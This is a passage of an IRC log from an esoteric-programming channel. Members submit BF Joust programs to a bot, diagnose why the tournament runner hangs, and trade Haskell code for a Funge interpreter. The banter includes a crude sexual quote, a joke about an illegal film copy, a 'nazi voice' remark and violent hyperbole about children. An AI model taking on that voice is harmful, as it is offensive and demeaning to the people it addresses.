21:32:51 <quintopia> !bfjoust antiwiggle3 (.)*48(>[>>>>>>>>(-)*128])*22
21:32:55 <elliott_> oerjan: that's not really possible with my code
21:33:13 <EgoBot> Score for quintopia_antiwiggle3: 13.6
21:33:32 <oerjan> elliott_: well there's nothing preventing you from popping the ip, doing whatever it needs to do, and then appending afterwards.
21:33:49 <elliott_> oerjan: who says i pop :)
21:33:56 <quintopia> wow...it didn't work :P
21:34:32 <oerjan> elliott_: well since the view work such that if you even _look_ at the head, you also get the tail, it seems inefficient not to remember the tail...
21:34:36 <quintopia> ais523: TELL ME WHY IT DIDN'T WORKED
21:34:38 <oerjan> *works
21:34:42 <Gregor> Darn, my mind-bogglingly slow rushes have been pushed back down by legit programs :P
21:34:49 <elliott_> oerjan: yeah, but my code is not structured like this at all
21:35:29 <impomatic> !bfjoust sicilian_defence http://pastebin.com/raw.php?i=jKHD8KvG
21:35:51 <elliott_> Deewiant: Does one space take a tick in stringmode?
21:35:55 <myndzi> ok i am reading the help but having trouble.. how do i just, like, search for files that have existed with a matching file name through all revisions?
21:36:03 <ais523> quintopia: wiggle3 leaves a trail behind as it moves
21:36:06 <Deewiant> elliott_: Yes
21:36:20 <elliott_> Deewiant: >_<
21:36:22 <ais523> so you need to ignore cells with value + or - 1
21:36:24 <elliott_> Deewiant: Wrong answer, man :P
21:36:40 <Deewiant> elliott_: This kind of twiddling is the main reason why t is not so simple :-)
21:37:14 <ais523> !bfjoust antiwiggle3 (.)*48(>[+[--[>>>>>>>>(-)*128]]])*21
21:37:19 <oerjan> elliott_: hm you _could_ store the queue in left view form, then you would always have quick access to the ip and could change it in the same form. then rotate would be a separate thing.
21:37:35 <elliott_> oerjan: wouldn't that essentially be the zipper solutio
21:37:36 <elliott_> n
21:37:44 <oerjan> no
21:38:07 <quintopia> ais523: oh, i missed that stupid + at the end of the decoy search :/
21:38:25 <elliott_> Deewiant: OK, I'll have to make toNextIns behave differently with string mode.
21:38:31 <oerjan> elliott_: rotate (ip :< is') = viewl (is' |> ip)
21:38:32 <ais523> also, egobot seems to have run one program then stopped
21:38:33 <ais523> which is weird
21:38:40 <elliott_> Deewiant: A space counts as an instruction, *unless* the previous instruction (delta-wise) is also a space.
21:38:45 <ais523> !bfjoust suicide <
21:39:00 <ais523> again, one program then stopped
21:39:02 <ais523> something seems broken
21:39:06 <quintopia> !bfjoust antiwiggle3 (.)*48(>[-[>>>>>>>>(-)*128]])*22
21:39:52 <ais523> Gregor: I think we broke EgoBot
21:39:59 <quintopia> D:
21:40:00 <Gregor> IMPOSSIBLE
21:40:15 <oerjan> elliott_: and then just modifyCurrentIP f = modifyIPs $ \(ip :< is') -> f ip :< is'
21:40:20 <Gregor> top reports that egojoust is running
21:40:35 <ais523> breakdown.txt doesn't
21:40:37 <Gregor> `run ps aux | grep ego
21:40:43 <ais523> and it normally updates quite quickly while egojoust is running
21:40:45 <Gregor> That wasn't smart :P
21:40:58 <ais523> sandboxed, surely?
21:41:04 <Gregor> ps isn't.
21:41:08 <oerjan> elliott_: well i guess it's a _tiny_ bit of zipping, just one element
21:41:10 <HackEgo> 5000 7247 0.0 0.0 3776 164 ? TN Feb07 0:00 ../report ../egojoust ../cache Deewiant_monorail.bfjoust Lymia_evo_1.bfjoust Patashu_rushpolarity.bfjoust Vorpal_shudder.bfjoust ais523_defend7.bfjoust ais523_large_decoy_attack.bfjoust ais523_stupid_defender_clearer.bfjoust ais523_tripstridewire.bfjoust
21:41:22 <elliott_> oerjan: do I even need finger trees at that point? :P
21:41:27 <Deewiant> Feb07?
21:41:38 <quintopia> !bf ++++++++>++++++<[>[>+>+<<-]>>[<<+>>-]<-].
21:42:10 <Gregor> Yes, the system seems overloaded, so let's throw more shit at it.
21:42:27 <ais523> I'm wondering if it's stuck in a loop or a quadratic algo or something
21:42:36 <quintopia> well, just checking whether it's ego or just the bf joust interp
21:42:44 * impomatic didn't break it!
21:43:30 <myndzi> i just want to search for old programs :(
21:43:34 <myndzi> why is it so hard
21:43:41 <myndzi> fu hg
21:43:43 <oerjan> elliott_: um the finger trees are to get the efficient appending of an element at the end
21:44:07 <elliott_> oerjan: I think I might just use a zipper until Deewiant adds tenbillionthreads.b98 to Fungicide
21:44:10 <elliott_> Or is that what fork.b98 is?
21:44:11 <ais523> Gregor: running a suicide program like mine or yours causes it to go almost instantly, and then get stuck
21:44:16 <Deewiant> Yes, that's what it is :-)
21:44:17 <ais523> `run ps aux | grep ego
21:44:18 <HackEgo> 5000 8915 0.0 0.0 9500 184 ? S Jan20 0:00 /bin/bash ./egobot \ 5000 15704 0.0 0.0 45960 980 ? S 20:10 0:00 su - egobot \ 5000 20832 0.0 0.0 33884 556 ? S Feb06 0:01 socat TCP4:irc.freenode.net:6667 EXEC:./multibot EgoBot egobot egobot.log \ 5000 20834 0.0 0.0
21:44:26 <elliott_> Deewiant: How many threads? :P
21:44:38 <Deewiant> I think 64K at most
21:44:41 <Deewiant> Can't remember
21:44:45 <Deewiant> See the web page :-P
21:45:12 <Gregor> Unfortunately I can't check what's going on right now as I've gotta go >_>
21:45:42 <elliott_> oerjan: *Main> let foo = replicate 64 0
21:45:43 <elliott_> *Main> foldr seq () (reverse foo)
21:45:43 <elliott_> ()
21:45:44 <elliott_> oerjan: Ran instantly.
21:45:45 <elliott_> Err.
21:45:50 <elliott_> *Main> let foo = replicate 64000 0
21:45:51 <elliott_> That is.
21:45:53 <elliott_> (Copied the wrong line)
21:46:03 <elliott_> oerjan: tl;dr I'm sure zippers will be fine :P
21:46:52 <oerjan> elliott_: O KAY. if you want a zipper, rotate ([ip], r) = (reverse r, [ip]); rotate ((ip:l), r) = (l, ip:r) . i think.
21:46:56 <ais523> !bfjoust suicide <
21:47:03 <ais523> `run ps aux | grep ego
21:47:04 <HackEgo> 5000 8915 0.0 0.0 9500 184 ? S Jan20 0:00 /bin/bash ./egobot \ 5000 15704 0.0 0.0 45960 980 ? S 20:10 0:00 su - egobot \ 5000 20832 0.0 0.0 33884 556 ? S Feb06 0:01 socat TCP4:irc.freenode.net:6667 EXEC:./multibot EgoBot egobot egobot.log \ 5000 20834 0.0 0.0 14468 332 ?
21:47:08 <elliott_> oerjan: well yes :P
21:47:15 <elliott_> oerjan: erm
21:47:20 <elliott_> oerjan: isn't it [a],a,[a]
21:47:22 <elliott_> not [a],a
21:48:00 <oerjan> elliott_: you don't need to store the ip separately from both lists but ok
21:48:19 <elliott_> oerjan: true.
21:49:58 -!- pikhq_ has joined.
21:50:00 -!- pikhq has quit (Ping timeout: 255 seconds).
21:50:11 <oerjan> elliott_: in fact it becomes more awkward if you split it: rotate (l, ip, []) | (ip':r') <- reverse l = ([ip], ip', r'); rotate (l, ip, ip':r) = (ip:l, ip', r)
21:50:17 * elliott_ wonders what started oerjan saying "O KAY"
21:50:19 <elliott_> oerjan: ew
21:50:43 <oerjan> because you need to extract the head at once
21:51:29 <oerjan> maybe ([], ip', r'++[ip]) is better for the first one
21:52:32 <quintopia> Gregor: give hackego root permissions and we'll gix it while you're gone
21:52:36 <quintopia> *fix
21:52:56 <oerjan> i guess my pair version above has the intuitively wrong order
21:53:13 <ais523> `run ps aux | grep ego
21:53:16 <HackEgo> 5000 1148 0.5 0.1 8908 1244 ? S 22:14 0:00 /bin/bash PRIVMSG/tr_60.cmd PRIVMSG #esoteric `run ps aux | grep ego \ 5000 1173 0.0 0.0 8908 536 ? S 22:14 0:00 /bin/bash PRIVMSG/tr_60.cmd PRIVMSG #esoteric `run ps aux | grep ego \ 5000 1176 0.0 0.0 8912 508 ? S 22:14
21:53:28 <ais523> /something/ is happening, at least
21:53:36 <ais523> those numbres are different
21:53:59 <ais523> `run ps aux | grep ego
21:54:00 <HackEgo> 5000 1496 0.0 0.1 8908 1244 ? S 22:15 0:00 /bin/bash PRIVMSG/tr_60.cmd PRIVMSG #esoteric `run ps aux | grep ego \ 5000 1576 0.0 0.0 8908 536 ? S 22:15 0:00 /bin/bash PRIVMSG/tr_60.cmd PRIVMSG #esoteric `run ps aux | grep ego \ 5000 1580 0.0 0.0 8912 508 ? S 22:15
21:54:05 <impomatic> !bfjoust dragon_variation http://pastebin.com/raw.php?i=GjATANq4
21:54:11 <elliott_> Deewiant: BTW, Mycology takes about 8-9 seconds for me right now, which is mostly spent in reading, i and o testing, and bounds shrinking.
21:54:21 <ais523> oh, the grep is finding itself
21:54:29 <ais523> `run ps aux | grep e\go
21:54:30 <HackEgo> 5000 1653 0.5 0.0 3640 388 ? SN 22:15 0:00 ../../../slox/slox 25 ../report ../egojoust ../cache Deewiant_farmhand.bfjoust Deewiant_maglev.bfjoust Deewiant_monorail.bfjoust Deewiant_sloth.bfjoust Deewiant_steamroller.bfjoust Deewiant_train2.bfjoust Gregor_mind_bogglingly_slow_rush.bfjoust
21:54:31 <elliott_> A pretty respectable speed if you ask me considering I've optimised it exactly twice :P
21:54:36 <Deewiant> elliott_: Now make it 1000x faster and it'll be competitive
21:54:47 -!- nescience has quit (Remote host closed the connection).
21:54:58 <quintopia> so it is running a report
21:55:01 -!- poiuy_qwert has joined.
21:55:09 <quintopia> we just don't know which report :/
21:55:13 <elliott_> Deewiant: Eh, if it took 1/100th of the time, it'd be just about the same as cfunge :P
21:55:18 <impomatic> What's the diagnosis? It ego being slow or broken?
21:55:26 <ais523> I think it's caught in an infinite loop
21:55:28 <ais523> `run ps aux | grep e\go
21:55:28 <Deewiant> elliott_: You have to compare against cfunge without fingerprints, not with
21:55:29 <HackEgo> 5000 1653 0.5 0.0 3640 388 ? SN 22:15 0:00 ../../../slox/slox 25 ../report ../egojoust ../cache Deewiant_farmhand.bfjoust Deewiant_maglev.bfjoust Deewiant_monorail.bfjoust Deewiant_sloth.bfjoust Deewiant_steamroller.bfjoust Deewiant_train2.bfjoust Gregor_mind_bogglingly_slow_rush.bfjoust
21:55:38 <quintopia> i concur with ais523
21:55:40 <elliott_> Deewiant: I was. OK, 0.08 vs 0.03, but come on.
21:55:46 <elliott_> Deewiant: Really I don't expect to go below 1 to 2 seconds on Mycology.
21:55:59 <ais523> `run ps aux | grep e\go | grep -v report
21:56:00 <HackEgo> 5000 1684 14.1 0.7 11984 8216 ? TN 22:15 0:15 ../egojoust Deewiant_farmhand.bfjoust impomatic_dragon_variation.bfjoust \ 1740149 2616 0.0 0.0 4324 904 ? SN 22:17 0:00 grep /bin/grep ego \ 5000 8915 0.0 0.0 9500 184 ? S Jan20 0:00 /bin/bash ./egobot \ 5000 15704
21:56:00 <impomatic> ais523: I'm pretty sure my loop stops just short of infinite. Not guilty!
21:56:02 <elliott_> Deewiant: Because Mycology does nothing intensive, frankly. And reading fungespace takes time unless you cheat.
21:56:06 <elliott_> Deewiant: (with a fixed area, say.)
21:56:11 <Vorpal> <elliott_> Deewiant: Really I don't expect to go below 1 to 2 seconds on Mycology. <-- aha, you don't aim as high as me then
21:56:15 <ais523> impomatic: it's dragon_variation that seems to be the issue
21:56:17 <elliott_> Vorpal: I aim higer.
21:56:19 <elliott_> *higher.
21:56:21 <elliott_> I'm going to beat your ass on Fungicide :P
21:56:24 <ais523> could you replace it with a suicide for the time being
21:56:30 <ais523> to see if it helps?
21:56:34 <Vorpal> elliott_, well right. But that doesn't represent real world use cases
21:56:35 <quintopia> too bad we can't `kill
21:56:35 <Deewiant> elliott_: On my machine cfunge is occasionally below 0.01 :-P
21:56:41 <elliott_> Vorpal: Nor does Mycology.
21:56:43 <elliott_> Vorpal: fungot does.
21:56:44 <fungot> elliott_: basically it fnord and recursively. but i just don't get what call/ cc... :) the drawback of always reminding me of how to bugger the tests to go to the display from the data it works on my machine
21:56:49 <ais523> then at least we'll know where the problem is
21:56:50 <elliott_> fungot's startup time is nearly irrelevant, you might note.
21:56:50 <fungot> elliott_: magic johnson? ( random-integer 2))
21:56:54 <Vorpal> elliott_, and cfunge does decently on fungot iirc
21:56:54 <fungot> Vorpal: hi gnomon :) hi bbls!
21:57:03 <Vorpal> elliott_, anyway the fungicide stuff is outdated for cfunge afaik
21:57:07 <elliott_> Vorpal: But I will beat it. Or at least equalise it.
21:57:12 <elliott_> I don't care, I'm going to beat you anyway :P
21:57:19 <Vorpal> elliott_, sure. why would I care
21:57:27 <Vorpal> oh and yeah, will implement your algorithm tomorrow
21:57:29 <elliott_> Vorpal: Because you'll have to optimise.
21:57:32 <Vorpal> it looks quite interesting
21:57:37 <Vorpal> elliott_, what?
21:57:44 <elliott_> Vorpal: Otherwise I'll have taken your crown!
21:57:44 <Vorpal> elliott_, I'm not competing with you
21:57:49 <elliott_> Suuuure
21:57:50 <impomatic> ais523: oh so you're blaming me! Oh well, I'm used to being in trouble for something... :-)
21:58:00 <elliott_> Hey ais523, what's the name of the best Funge interpreter ever.
21:58:05 <Vorpal> elliott_, no, ccbi2 still beats cfunge due to it's insane stuff with various boxes and such.
21:58:05 <ais523> impomatic: it may be egobot's fault, choking in something in your program
21:58:06 <elliott_> HINT: The answer is Shiro
21:58:08 <impomatic> ais523: http://pastebin.com/raw.php?i=GjATANq4 <- no infinite loops :-P
21:58:16 <Vorpal> elliott_, that is what you have to beat to take the crown.
21:58:21 <Vorpal> elliott_, or even beat jitfunge
21:58:21 <ais523> so think of killing the program as a way of debugging egobot
21:58:23 <elliott_> Vorpal: I don't see what's so interesting about my wrapper, anyway
21:58:29 <elliott_> It's just the loop, made loopless
21:58:41 <Vorpal> elliott_, indeed. But it saves thinking just looking at it :P
21:58:53 <Vorpal> elliott_, you are using BSD license right?
21:58:55 <ais523> impomatic: aha, egobot unrolls repetitions with unmatched [ or ]
21:58:56 <elliott_> Vorpal: tl;dr Obviously, there is a function that will tell us how many iterations the loop will take.
21:58:58 <Vorpal> or is it some other one?
21:59:05 <elliott_> Vorpal: The loop is just the subtraction of delta from the coordinates.
21:59:07 <ais523> which is obviously inefficient, but that's what's killing it, almost certainly
21:59:11 <elliott_> Vorpal: So this is obviously a minus-multiplication.
21:59:13 <elliott_> Done.
21:59:15 <Vorpal> elliott_, yes indeed that function was the key to thus
21:59:16 <Vorpal> this*
21:59:29 <Vorpal> (telling us how many iterations)
21:59:29 <elliott_> Vorpal: The function is public domain or whatever, you can't copyright that algo.
21:59:31 -!- zzo38 has joined.
21:59:33 <ais523> it would be nice if you'd unbreak it...
21:59:37 -!- kar8nga has quit (Remote host closed the connection).
21:59:43 <elliott_> ais523: egobot unrolls %
21:59:48 <quintopia> impomaticccccccccccccccccccccccccccc
21:59:50 <ais523> elliott_: yep, but also ([)*
21:59:54 <Vorpal> ais523, what did he do?
21:59:58 <elliott_> <impomatic> ais523: http://pastebin.com/raw.php?i=GjATANq4 <- no infinite loops :-P
22:00:01 <elliott_> impomatic: View source on that page.
22:00:04 <elliott_> impomatic: It's HTML.
22:00:05 <ais523> Vorpal: submitted a program that's perfectly fine, but that egojoust chokes on
22:00:06 <impomatic> ais523: oh :-( It really is my fault!
22:00:10 <elliott_> impomatic: Your program is starting with <
22:00:13 <elliott_> because of <!DOCTYPE html
22:00:23 <elliott_> impomatic: Use a pastebin that serves as text/plain.
22:00:23 <ais523> impomatic: that explains why all your programs got 0, at least
22:00:26 <elliott_> Because that just won't work X-D
22:00:58 -!- poiuy_qwert has quit (Quit: This computer has gone to sleep).
22:01:20 -!- MigoMipo has quit (Read error: Connection reset by peer).
22:01:22 <quintopia> but ya, kill it make it better impomatic
22:01:33 <ais523> so given that we know the program will score 0, replacing it with a suicide will just save time
22:01:55 <zzo38> I think sprunge pastebin is serves as plain text (unless a syntax highlighter is specified)
22:02:05 <ais523> it does
22:02:05 <impomatic> !bfjoust dragon_variation <
22:02:09 <ais523> I used it earlier
22:02:13 <Vorpal> `help
22:02:13 <HackEgo> Runs arbitrary code in GNU/Linux. Type "`<command>", or "`run <command>" for full shell commands. "`fetch <URL>" downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert <rev>" can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/
22:02:20 <impomatic> !bfjoust sicilian_defence <
22:02:33 <zzo38> I know it does because I often use it in that way, to copy a file there and then download it elsewhere using the command-line tools.
22:02:33 <ais523> aha, it's running now
22:02:36 <elliott_> oerjan: modifyIPs :: (([IP],[IP]) -> ([IP],[IP])) -> Shiro ()
22:02:38 <elliott_> oerjan: impressive type
22:02:41 <Vorpal> `run echo a > b; sleep 2; echo c > b;
22:02:41 <Vorpal> `run echo d > b
22:02:42 <HackEgo> No output.
22:02:45 <Vorpal> lets see what that does
22:02:50 <HackEgo> No output.
22:02:54 <Vorpal> `cat b
22:02:58 <HackEgo> d
22:03:07 <quintopia> `rm b
22:03:07 <Vorpal> oh so it doesn't run them side by side
22:03:08 <HackEgo> No output.
22:03:19 <Vorpal> quintopia, since it uses hg to track the file system
22:03:25 <Vorpal> I wanted to see if that gave a collision
22:03:30 <elliott_> oerjan: rotate :: ([a],a) -> ([a],a)
22:03:30 <elliott_> rotate ([ip],r) = (reverse r, [ip])
22:03:31 <elliott_> Occurs check: cannot construct the infinite type: a = [a]
22:03:33 <elliott_> When generalising the type(s) for `rotate'
22:03:39 <ais523> quintopia: ais523_antiwiggle3.bfjoust vs jix_wiggle3.bfjoust: <<<<<<<<<<<<<<<<<<<<< <<<<<<<<<<<<<<<<<<<<< <<<<<<<<<<<<<<<<<<<<< <<<<<<<<<<<<<<<<<<<<<
22:03:42 <Phantom_Hoover> `quote
22:03:42 <Phantom_Hoover> `quote
22:03:42 <Phantom_Hoover> `quote
22:03:48 <HackEgo> 103) <Warrigal> So, I'm inside a bottle which is being carried by a robot.
22:03:49 <HackEgo> 57) <GregorR> ??? <GregorR> Are the cocks actually just implanted dildos? <GregorR> Or are there monster dildos and cocks? <GregorR> Or are both the dildos and cocks monster?
22:03:49 <HackEgo> 290) <ais523> gah, why does lose keep winning?
22:03:59 <quintopia> ais523: and quintopia_antiwiggle3?
22:04:07 <Phantom_Hoover> Gregor, why were you saying that.
22:04:14 <ais523> hasn't processed yet
22:04:17 <Phantom_Hoover> I am trying to think of a context and cannot.
22:04:18 <quintopia> ah
22:04:36 <EgoBot> Score for quintopia_antiwiggle3: 14.4
22:04:36 <EgoBot> Score for impomatic_sicilian_defence: 0.0
22:04:36 <EgoBot> Score for impomatic_sicilian_defence: 0.0
22:04:36 <EgoBot> Score for ais523_suicide: 0.0
22:04:36 <Vorpal> http://codu.org/projects/hackbot/fshg/index.cgi/shortlog/07a7084dc9fc <-- heh the a, b one is missing
22:04:37 <EgoBot> Score for ais523_suicide: 0.0
22:04:37 <EgoBot> Score for impomatic_dragon_variation: 0.0
22:04:37 <quintopia> i don't really think the handling of -1 is necessary
22:04:37 <elliott_> google's logo today scares me
22:04:38 <EgoBot> Score for ais523_antiwiggle3: 18.0
22:04:38 <EgoBot> Score for impomatic_dragon_variation: 0.0
22:04:40 <elliott_> (requires js)
22:04:44 <quintopia> HELLO EGOBOT
22:04:59 <elliott_> <EgoBot> *cough* *splutter* *hack*
22:05:02 <ais523> quintopia: jix_wiggle3.bfjoust vs quintopia_antiwiggle3.bfjoust: >>>>>>>>>>>>>>>>>>>>> >>><<<<<<<<<<<<<<<<<> >>><<<<<<<<<<<<<<<<<> >>>>>>>>>>>>>>>>>>>>> quintopia_antiwiggle3.bfjoust wins
22:05:11 <ais523> not a perfect victory like mine is, but still a victory
22:05:19 <quintopia> interesting
22:05:28 <ais523> because you don't allow for polarity reversal on the decoy
22:05:35 <quintopia> ohhhhhh
22:05:44 <ais523> mine's a modification of yours that does
22:05:49 <quintopia> right, that's how it could be made -1
22:05:56 <elliott_> oerjan your code is WRONGGG
22:06:01 <elliott_> oh
22:06:02 <elliott_> no
22:06:03 <elliott_> my type is wrong
22:06:04 <elliott_> :D
22:06:35 <elliott_> Deewiant: An IP advances at the end of its tick, but only moves to the next instruction at the start of its next tick, right?
22:06:35 <ais523> so now the only problem is the scoreboard getting cut off on line 33
22:06:44 <Vorpal> <Phantom_Hoover> I am trying to think of a context and cannot. <-- you could grep logs. You might not want to.
22:06:48 <ais523> !bfjoust suicide <
22:06:59 <Deewiant> elliott_: Blargh... I forget
22:07:01 <EgoBot> Score for ais523_suicide: 0.0
22:07:07 <elliott_> <Phantom_Hoover> Gregor, why were you saying that. <Phantom_Hoover> I am trying to think of a context and cannot.
22:07:15 -!- nescience has joined.
22:07:26 <elliott_> The context is Gracenotes releasing an illegal copy of a film about monster cock dildos.
22:07:26 <nescience> my phone hates irc I guess
22:07:29 <Vorpal> <ais523> so now the only problem is the scoreboard getting cut off on line 33 <-- why did that happen
22:07:34 <ais523> we'll have to wait for Gregor to fix that, I suppose
22:07:35 <elliott_> Or something :-P
22:07:37 <oerjan> <elliott_> oerjan: rotate :: ([a],a) -> ([a],a) <-- you mean rotate :: ([a],[a]) -> ([a],[a])
22:07:38 <ais523> Vorpal: my guess is some sort of timeout
22:07:43 <ais523> on bytes output, perhaps
22:07:44 <elliott_> oerjan: MAYBE I DO
22:07:53 <Vorpal> ais523, why are there so many?
22:07:56 <elliott_> elliott@elliott-MacBookAir:~/mycology$ ~/Code/shiro/shiro mycology.b98
22:07:57 <elliott_> shiro: Shiro/Monad.hs:81:32-60: Non-exhaustive patterns in lambda
22:08:02 <ais523> Vorpal: the hill was expanded
22:08:07 <Vorpal> ais523, why
22:08:17 <ais523> to make it more interesting, when it fills up with decent programs
22:08:18 <Vorpal> hm
22:08:21 <olsner> elliott_: your patterns aren't exhausted yet! whip them some more
22:08:40 <Vorpal> !bfjoust shudder (++-)*1000000
22:09:06 <quintopia> !bfjoust hmm (.)*48(>[-[++[>>>>>[>(+)*3[-]+]]]])*22
22:09:23 <elliott_> modifyCurrentIP :: (IP -> IP) -> Shiro ()
22:09:24 <elliott_> modifyCurrentIP f = modifyIPs $ \(ip:xs, r) -> (f ip : xs, r)
22:09:31 <elliott_> Somehow, I have ended up with an empty list of IPs.
22:09:34 <Vorpal> ais523, it seems to run too slow
22:09:35 <elliott_> oerjan:
22:09:40 <elliott_> rotate :: ([a],[a]) -> ([a],[a])
22:09:41 <elliott_> rotate ([ip],r) = (reverse r, [ip])
22:09:41 <elliott_> rotate ((ip:xs), r) = (xs, ip:r)
22:09:43 <elliott_> oerjan: when r is empty, this fails
22:09:46 <ais523> Vorpal: it has lots of programs to run against, don't be impatient!
22:09:50 <elliott_> oerjan: consider the case where there's only one IP, ([ip],[])
22:09:52 <Vorpal> ais523, might have to shrink it to avoid combinatorial explosion
22:09:58 <elliott_> oerjan: rotate ([ip],[]) = ([],[ip])
22:10:01 <Vorpal> ais523, yes but I mean this current size of the board is too large
22:10:03 -!- impomatic has quit (Quit: ChatZilla 0.9.86 [Firefox 3.5.16/20101130074636]).
22:10:05 <elliott_> oerjan: meaning that you can't take the current ip any more
22:10:07 <Vorpal> ais523, when it comes to speed
22:10:12 <elliott_> oerjan: or am i doin it rong
22:10:15 <oerjan> <elliott_> google's logo today scares me <-- try the handle on the right
22:10:20 <elliott_> oerjan: SCARES
22:10:21 <quintopia> ais523: i don't think it unrolls + and -
22:10:25 <ais523> I think the issue is that the board never shrinks because it's so large that it crashes before cleaning up the old programs
22:10:27 <quintopia> *Vorpal
22:10:47 -!- impomatic has joined.
22:10:49 <quintopia> ais523: that doesn't sound right.
22:11:03 <ais523> quintopia: it's an error, I think
22:11:31 <oerjan> `addquote <elliott_> The context is Gracenotes releasing an illegal copy of a film about monster cock dildos.
22:11:35 <quintopia> ais523: but it should clean up old programs after the crash regardless, if i read the script right
22:11:35 <HackEgo> 300) <elliott_> The context is Gracenotes releasing an illegal copy of a film about monster cock dildos.
22:11:42 <EgoBot> Score for quintopia_hmm: 14.0
22:11:43 <EgoBot> Score for Vorpal_shudder: 23.2
22:11:47 <oerjan> (what do you mean the quote is without context, it's right in there!)
22:11:48 <ais523> quintopia: perhaps
22:11:52 <ais523> it depends on what causes the crash
22:12:11 <ais523> it cleaned up some, at least, and crashed on line 34 this time
22:13:33 <impomatic> !bfjoust sicilian_defence http://www.lichttuete.com/temp/a1.txt
22:13:44 <elliott_> http://www.lichttuete.com/
22:13:47 <elliott_> impomatic turned German overnight.
22:14:02 <Vorpal> <oerjan> <elliott_> google's logo today scares me <-- try the handle on the right <-- it's cool
22:14:08 <elliott_> lol german is such a funny language, maybe it's just because i'm pronouncing that page in a nazi voice
22:14:15 <oerjan> elliott_: i didn't think of that. try rotate ([ip],r) = (reverse r++[ip], []) instead
22:14:16 <Phantom_Hoover> `quote 75
22:14:21 <elliott_> LICHTTÜTEN VERLEIHEN JEDEM *ABEND*!!!!
22:14:32 <Vorpal> but dude, how much time did they spend on it
22:14:34 <quintopia> so hmm does beat wiggle3 and almost nothing else. needs more decoys ...
22:14:58 <Phantom_Hoover> elliott_, German is the funniest language ever.
22:15:01 <elliott_> Deewiant: UNDEF: the empty string wrapped around the edge of space is empty
22:15:05 <elliott_> Deewiant: I'm unique.
22:15:08 <quintopia> !bfjoust hmm >(+)*23(-)*24(>[-[++[>>>>>[>(+)*3[-]+]]]])*22
22:15:16 <elliott_> Deewiant: Actually that's probably a bug isn't it.
22:15:19 <Deewiant> elliott_: That's another of those that I think actually should be 1 space
22:15:28 <HackEgo> 75) <fungot> ehird: every set can be well-ordered. corollary: every set s has the same diagram used from famous program talisman with fnord windows to cascade, someone i would never capitalize " i"
22:15:29 <elliott_> Deewiant: Yeah. I can special-case that, I suppose :-P
22:15:31 <Deewiant> elliott_: I.e. it should be GOOD/BAD but I haven't bothered
22:15:35 <Phantom_Hoover> You can say anything in an angry voice and it'll sound like you want to kill someone and beat their children to death with a rusty hammer.
22:16:04 <ais523> !bfjoust attack7 (>)*5(+)*40<(-)*40(>)*4(>[+[+[+[+[-----[-[-[-[-](-)*122[-.]]]]]]]]])*21
22:16:10 <elliott_> Deewiant: I can't wait until you make absolute bounds GOOD/BAD, just to make Vorpal cry.
22:16:19 <elliott_> *exact bounds
22:16:19 <Deewiant> Absolute bounds?
22:16:21 <EgoBot> Score for impomatic_sicilian_defence: 18.7
22:16:22 <EgoBot> Score for quintopia_hmm: 10.6
22:16:26 <elliott_> Deewiant: Exact bounds.
22:16:26 <Deewiant> Aren't they already?
22:16:28 <elliott_> Deewiant: i.e. shrinking.
22:16:36 <elliott_> Deewiant: Oh right, they are, Vorpal just doesn't care :P
22:16:47 <elliott_> Deewiant: The # thing, then.
22:16:51 <impomatic> !bfjoust dragon_variation http://www.lichttuete.com/temp/a2.txt
22:16:52 <elliott_> UNDEF: # across left edge hits easternmost cell in file
22:16:52 <elliott_> UNDEF: # across left edge hits easternmost cell on line
22:16:54 <coppro> /w/win 2
22:17:09 <quintopia> interesting. the decoys weren't enough, so i do worse because now i don't beat tripwires
22:17:18 <Vorpal> <elliott_> Deewiant: The # thing, then. <-- I oppose since I believe the other behaviour is equally correct.
22:17:29 <EgoBot> Score for impomatic_dragon_variation: 34.7
22:17:30 <EgoBot> Score for ais523_attack7: 35.0
22:17:32 <elliott_> Vorpal: Is not.
22:17:39 <Vorpal> elliott_, why
22:17:40 <ais523> ais523_attack7.bfjoust vs myndzi_careless.bfjoust: <>>>>>>>>>><<<<<<<<<< <>>>>>>>>>>><<<<<<<<< <>>>>>>>>>>><<<<<<<<< <>>>>>>>>>><<<<<<<<<< Tie
22:17:42 <elliott_> Vorpal: It's only justifiable with the implementation detail of rectangle bounds.
22:17:44 <ais523> myndzi: heh, I'm amused at that one
22:17:50 <ais523> that's quite a precarious draw
22:17:51 <elliott_> Vorpal: From a Lahey-space point of view, # has only one behaviour, and it's that one.
22:17:53 <impomatic> !bfjoust defective http://www.lichttuete.com/temp/a3.txt
22:17:58 <ais523> looks like my program favours longer tapes, there
22:18:09 <quintopia> !bfjoust hmm >(+)*23(-)*24(>[-[++[>>>>>[>(+)*3[[-]]+]]]])*22
22:18:17 <elliott_> Deewiant: UNDEF: the empty string wrapped around the edge of space contains 1 character(s) (hopefully spaces)
22:18:22 <elliott_> Deewiant: Fix't (it was actually a trivial bug in my code).
22:18:36 <Vorpal> elliott_, shouldn't it contain a space?
22:18:55 <elliott_> Vorpal: Yes, it contains one space.
22:19:00 <Vorpal> indeed
22:19:21 <EgoBot> Score for quintopia_hmm: 11.2
22:19:21 <EgoBot> Score for impomatic_defective: 31.6
22:19:23 <impomatic> !bfjoust self_aware_brainfuck http://www.lichttuete.com/temp/a4.txt
22:19:37 <Vorpal> elliott_, what did fbbi do wrt # and edge
22:19:41 <EgoBot> Score for impomatic_self_aware_brainfuck: 27.5
22:20:09 <Gregor> lolwtf
22:20:12 <ais523> ooh, 48 programs on the hill now
22:20:17 <impomatic> !bfjoust sieg_heil http://www.lichttuete.com/temp/a5.txt
22:20:29 <ais523> Gregor: sometimes report.txt cuts off around line 33; also, the size of the hill seems to change at random
22:20:48 <EgoBot> Score for impomatic_sieg_heil: 22.2
22:21:05 <Gregor> ais523: The size is 47 + all programs submitted before it had time to finish, so 48 unless you submit fifty at once :P
22:21:13 <zzo38> I also noticed that sometimes files are saved and sometimes they are deleted, and sometimes they aren't saved.
22:21:19 <Gregor> That's the way it's always worked, btw, just with a different lowerbound.
22:21:20 <elliott_> <Vorpal> elliott_, what did fbbi do wrt # and edge
22:21:23 <ais523> Gregor: indeed
22:21:28 <elliott_> Probably go into an infinite loop.
22:21:32 <Vorpal> elliott_, haha :D
22:21:36 <elliott_> And then segfault, continually.
22:21:42 <Vorpal> :P
22:22:02 <Gregor> I believe it's official that everyone who isn't me hates http://codu.org/tmp/jungle-2011-02-08-1.ogg X-P
22:22:37 <zzo38> Gregor: How do I know? I have not listened to that file yet so I don't know.
22:22:38 <Vorpal> !bfjoust nop .
22:22:42 <Vorpal> Gregor, I will check it
22:22:52 <quintopia> Gregor: i need to hear superturing. y u no link.
22:22:59 <Vorpal> Gregor, do you like it?
